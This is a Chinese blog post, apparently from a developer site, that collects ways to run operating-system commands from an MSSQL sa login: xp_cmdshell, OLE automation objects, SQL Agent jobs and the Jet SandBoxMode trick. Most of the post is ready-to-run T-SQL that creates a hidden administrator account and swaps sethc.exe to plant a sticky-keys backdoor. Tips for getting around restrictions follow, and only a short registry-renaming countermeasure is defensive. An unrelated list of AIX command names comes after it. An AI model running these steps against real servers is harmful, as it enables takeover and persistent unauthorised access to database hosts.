sa执行命令方法总结

sa执行命令方法总结

测试环境:windows xp pro sp2 + mssql 2005(服务以system权限启动)
一.xp_cmdshell
EXEC master.. xp_cmdshell 'ipconfig'
开启xp_cmdshell:
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
二.sp_oacreate
创建wscript.shell对象
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o, 'run',null, 'cmd /c "net user" > c:\test.tmp'
创建scripting.filesystemobject对象
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null, 'c:\windows\explorer.exe' , 'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out                 exec sp_oamethod @oo, 'copyfile',null, 'c:\windows\system32\sethc.exe' , 'c:\windows\system32\dllcache\sethc.exe';
可以用utilman.exe代替sethc.exe达到同样的效果  后门很酷吗,呵呵
创建Shell.Application对象
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe', 'cmd /c net user >c:\test.txt', 'c:\windows\system32', '',1;
开启OLE Automation Procedures
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
我们的对策就是把对象做一下手脚
WScript.Shell可以调用系统内核运行DOS基本命令
可以通过修改注册表,将此组件改名,来防止危害。
HKEY_CLASSES_ROOT\WScript.Shell\
及HKEY_CLASSES_ROOT\WScript.Shell.1\
改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
自己以后调用的时候使用这个就可以正常调用此组件了
也要将clsid值也改一下
HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
同wscript.shell理、scripting.filesystemobject、Shell.Application
三.JOB
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务,下面的语句可以开启
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null, 'x' exec sp_add_job 'x' exec
sp_add_jobstep null, 'x',null, '1', 'cmdexec', 'cmd /c "net user>c:\test.test"' exec sp_add_jobserver
null, 'x', @@servername exec sp_start_job 'x';
四.SandBoxMode(网上常说的沙盒模式)
原理:在access里调用VBS的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫SandBoxmode的开关打开,
注册表:HKEY_LOCAL_MACHINE\SoFtWare\Micris
oft\Jet\4.0\Engine\SandBoxmode.默认值为2,这个人键值为0表示始
终禁用SandBoxmode模式,1表示对于非Acess应用程序试用SandBoxmode模式,2表示对access应用程序使用SandBoxmode模式,3则表示完全开启安全设置。 //1或0都可以执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1
EXEC master..xp_regread  HKEY_LOCAL_MACHINE , 'Software\Microsoft\Jet\4.0\engines', 'SandBoxMode'
select * from openrowset( 'microsoft.jet.oledb.4.0', ';database=c:\windows\system32\ias\ias.mdb', 'select shell("cmd.exe /c net user test test /add")')
select * from openrowset( 'microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb', 'select shell("cmd.exe /c net localgroup administrators test /add")')
下面是系统自带的两个mdb文件
C:\WINDOWS\system32\ias\dnary.mdb
C:\WINDOWS\system32\ias\ias.mdb
总结
   上述几种方法(仔细看看我都忘记有几种了,哈哈。你可以发散思维,再找出来几种)都是在默认情况下测试的,往往***的时候有很多限制条件,我们可以逐一克服,利用组件得到服务器信息,读取、创建文件了等等,我们还是要对 权限这个词组有深层次的理解啊。
附注
      关于*.exe  c:\windows\system32\ 还有c:\windows\system32\dllcache呢
      关于cmd.exe还有command.exe呢
      关于net.exe还有net1.exe呢
      Mdb文件不存在我们可以上传一个啊
      执行命令的组件不是只有一个哦
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
sa 命令 sa1 命令 sa2 命令 sact 命令 sadc 命令 sar 命令 savebase 命令 savecore 命令 savevg 命令 scan 命令 sccs 命令 sccsdiff 命令 sccshelp 命令 schedo 命令 schedtune 命令 scls 命令 script 命令 sdiff 命令 secldapclntd 守护进程 sectoldif 命令 securetcpip 命令 sed 命令 send 命令 sendbug 命令 sendmail 命令 setclock 命令 setgroups 命令 setmaps 命令 setsenv 命令 settime 命令 setuname 命令 sh 命令 shconf 命令 shell 命令 show 命令 showmount 命令 shutacct 命令 shutdown 命令 size 命令 skulker 命令 slattach 命令 sleep 命令 slibclean 命令 sliplogin 命令 slocal 命令 smcaprop 命令 smdefca 命令 smdemon.cleanu 命令 smexpcacert 命令 smgenkeycr 命令 smgenprivkr 命令 smimpcacert 命令 smimpservercert 命令 sminstkey 命令 smit 命令 smitty 命令 smlistcerts 命令 smserverprop 命令 smsigncert 命令 smundefca 命令 snap 命令 snapcore 命令 snapshot 命令 snmpevent 命令 snmpd 守护进程 snmpdv1 守护进程 snmpdv3 守护进程 snmpinfo 命令 snmpmibd 守护进程 snmptrap 命令 snmpv3_ssw 命令 sno 命令 soelim 命令 sort 命令 sortbib 命令 sortm 命令 spell 命令 spellin 命令 spellout 命令 split 命令 splat 命令 splitvg 命令 splitlvcopy 命令 splp 命令 spost 命令 spray 命令 sprayd 守护进程 srcmstr 守护进程 startcondresp 命令 start-secldapclntd 命令 stop-secldapclntd 命令 startrpdomain 命令 startrpnode 命令 startsrc 命令 startup 命令 startvsd 命令 startx 命令 statd 守护进程 statvsd 命令 stopcondresp 命令 stoprpdomain 命令 stoprpnode 命令 stopsrc 命令 stopvsd 命令 stpinet 方法 strace 命令 strchg 命令 strclean 命令 strconf 命令 strerr 守护进程 strinfo 命令 strings 命令 strip 命令 stripnm 命令 strload 命令 strreset 命令 struct 命令 sttinet 方法 stty 命令 stty-cxma 命令 style 命令 su 命令 subj 命令 sum 命令 survd 守护进程 suspendvsd 命令 svmon 命令 swap 命令 swapoff 命令 swapon 命令 swcons 命令 sync 命令 synclvodm 命令 syncvg 命令 syscall 命令 sysck 命令 syscorepath 命令 sysdumpdev 命令 sysdumpstart 命令 sysline 命令 syslogd 守护进程 tab 命令 tabs 命令 tail 命令 talk 命令 talkd 守护进程 tapechk 命令 tar 命令 tbl 命令 tc 命令 tcbck 命令 tcopy 命令 tcpdump 命令 tctl 命令 tee 命令 telinit 或 init 命令 telnet、tn 或 tn3270 命令 telnetd 守护进程 termdef 命令 test 命令 tftp 或 utftp 命令 tftpd 守护进程 tic 命令 time 命令 timed 守护进程 timedc 命令 timex 命令 tip 命令 tokstat 命令 topas 命令 topsvcs 命令 topsvcsctrl 命令 touch 命令 tprof 命令 tput 命令 tr 命令 trace 守护进程 traceroute 命令 tracesoff 命令 traceson 命令 trbsd 命令 trcdead 命令 trcevgrp 命令 trcnm 命令 trcrpt 命令 trcstop 命令 trcupdate 命令 troff 命令 trpt 命令 true 或 false 命令 truss 命令 tset 命令 tsh 命令 tsm 命令 tsort 命令 ttt 命令 tty 命令 tunchange 命令 tuncheck 命令 tundefault 命令 tunrestore 命令 tunsave 命令 turnacct 命令 turnoff 命令 turnon 命令 tvi 命令 twconvdict 命令 twconvfont 命令 type 命令 ucfgif 方法 ucfginet 方法 ucfgqos 方法 ucfgvsd 命令 uconvdef 命令 udefif 方法 udefinet 方法 udfcheck 命令 udfcreate 命令 udflabel 命令 uil 命令 uimx 命令 ul 命令 ulimit 命令 umask 命令 umount 或 unmount 命令 umountall 命令 unalias 命令 uname 命令 uncompress 命令 undefvsd 命令 unexpand 命令 unfencevsd 命令 unget 命令(SCCS) unifdef 命令 uninstallms 命令 uniq 命令 units 命令 unlink 命令 unloadipsec 命令 unmirrorvg 命令 unpack 命令 untab 命令 update 命令 updatevsdnode 命令 updatevsdtab 命令 updatevsdvg 命令 uprintfd 守护进程 uptime 命令 users 命令 usrck 命令 utmpd 守护进程 uucheck 命令 uucico 守护进程 uuclean 命令 uucleanup 命令 uucp 命令 uucpadm 命令 uucpd 守护进程 uudecode 命令 uudemon.admin 命令 uudemon.cleanu 命令 uudemon.hour 命令 uudemon.poll 命令 uuencode 命令 uuid_gen 命令(NCS) uukick 命令 uulog 命令 uuname 命令 uupick 命令 uupoll 命令 uuq 命令 uusched 守护进程 uusend 命令 uusnap 命令 uustat 命令 uuto 命令 uutry 命令 Uutry 命令 uux 命令 uuxqt 守护进程

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值